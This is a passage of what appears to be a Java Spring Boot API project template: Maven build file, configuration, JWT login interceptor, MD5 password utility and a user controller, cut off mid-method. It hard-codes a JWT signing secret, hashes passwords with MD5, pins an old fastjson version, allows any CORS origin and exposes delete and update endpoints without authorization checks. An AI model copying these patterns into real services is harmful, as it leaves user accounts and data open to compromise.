    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>jun_api_service_demo</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <dependencies>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.36</version>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.0</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/configurer/LoginInterceptor.java",
    "content": "package com.company.project.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.utils.JwtUtils;\nimport io.jsonwebtoken.Claims;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\nimport static com.company.project.utils.JwtUtils.USER_ACCOUNT_KEY;\nimport static com.company.project.utils.JwtUtils.USER_ID_KEY;\n\n/**\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if(StringUtils.isBlank(token)){\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if(StringUtils.isBlank(token)){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        Claims claims = JwtUtils.checkJWT(token);\n        if(null == claims){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"登陆失效， 请重新登陆\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n        //  校验通过后，设置用户信息到request里，在Controller中从Request域中获取用户信息\n        request.setAttribute(USER_ID_KEY, claims.get(\"id\"));\n        request.setAttribute(USER_ACCOUNT_KEY, claims.get(\"account\"));\n        return true;\n    }\n\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/configurer/MyBatisPlusConfig.java",
    "content": "package com.company.project.configurer;\n\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/configurer/SwaggerConfiguration.java",
    "content": "package com.company.project.configurer;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/configurer/WebMvcConfigurer.java",
    "content": "package com.company.project.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\",\"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/core/ApplicationContextUtil.java",
    "content": "package com.company.project.core;\n \nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.stereotype.Component;\n \n/**\n * @className: ApplicationContextUtil\n * @Description: 解决定时任务获取不到service的问题\n * @Author moneylee\n * @Date 2019-05-11 14:28\n * @Version 1.0\n **/\n@Component\npublic class ApplicationContextUtil implements ApplicationContextAware {\n \n    private static ApplicationContext applicationContext;\n \n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n \n \n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        ApplicationContextUtil.applicationContext = applicationContext;\n \n    }\n \n    public static Object getBean(String beanName) {\n        return applicationContext.getBean(beanName);\n    }\n \n}"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/core/Result.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/core/ResultGenerator.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/core/ServiceException.java",
    "content": "package com.company.project.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/service/IUserService.java",
    "content": "package com.company.project.service;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/utils/JwtUtils.java",
    "content": "package com.company.project.utils;\n\nimport com.company.project.model.User;\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Date;\n\n/**\n * jwt工具类\n */\npublic class JwtUtils {\n\n    public static final String USER_ID_KEY = \"user_id_key\";\n\n    public static final String USER_ACCOUNT_KEY = \"user_account_key\";\n\n\n    public static final String SUBJECT = \"onehee\";\n\n    public static final long EXPIRE = 1000*60*60*24*7;  //过期时间，毫秒，一周\n\n    //秘钥\n    public static final  String APPSECRET = \"onehee666\";\n\n    /**\n     * 生成jwt\n     * @param user\n     * @return\n     */\n    public static String geneJsonWebToken(User user){\n\n        String token = Jwts.builder().setSubject(SUBJECT)\n                .claim(\"id\",user.getId())\n                .claim(\"userName\",user.getUsername())\n                .setIssuedAt(new Date())\n                .setExpiration(new Date(System.currentTimeMillis()+EXPIRE))\n                .signWith(SignatureAlgorithm.HS256,APPSECRET).compact();\n\n        return token;\n    }\n\n\n    /**\n     * 校验token\n     * @param token\n     * @return\n     */\n    public static Claims checkJWT(String token ){\n\n        try{\n            final Claims claims =  Jwts.parser().setSigningKey(APPSECRET).\n                    parseClaimsJws(token).getBody();\n            return  claims;\n\n        }catch (Exception e){ }\n        return null;\n\n    }\n\n\n    /**\n     * 判断当前登陆用户是不是admin\n     * @param request\n     * @return\n     */\n    public static boolean isAdmin(HttpServletRequest request) {\n        if (request.getAttribute(USER_ACCOUNT_KEY) == null) {\n            return false;\n        }\n        if (\"admin\".equals(request.getAttribute(USER_ACCOUNT_KEY).toString())){\n            return true;\n        } else {\n            return false;\n        }\n    }\n\n\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_demo/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.utils.JwtUtils;\nimport com.company.project.utils.MD5Utils;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n *  前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(user.getPassword(),true).equals(userO.getPassword())) {\n            return ResultGenerator.genFailResult(\"密码错误\");\n        }\n        String token = JwtUtils.geneJsonWebToken(user);\n        user.setToken(token);\n        user.setPassword(\"\");\n        return ResultGenerator.genSuccessResult(user);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(),true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user){\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                   @RequestParam(defaultValue = \"10\") Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        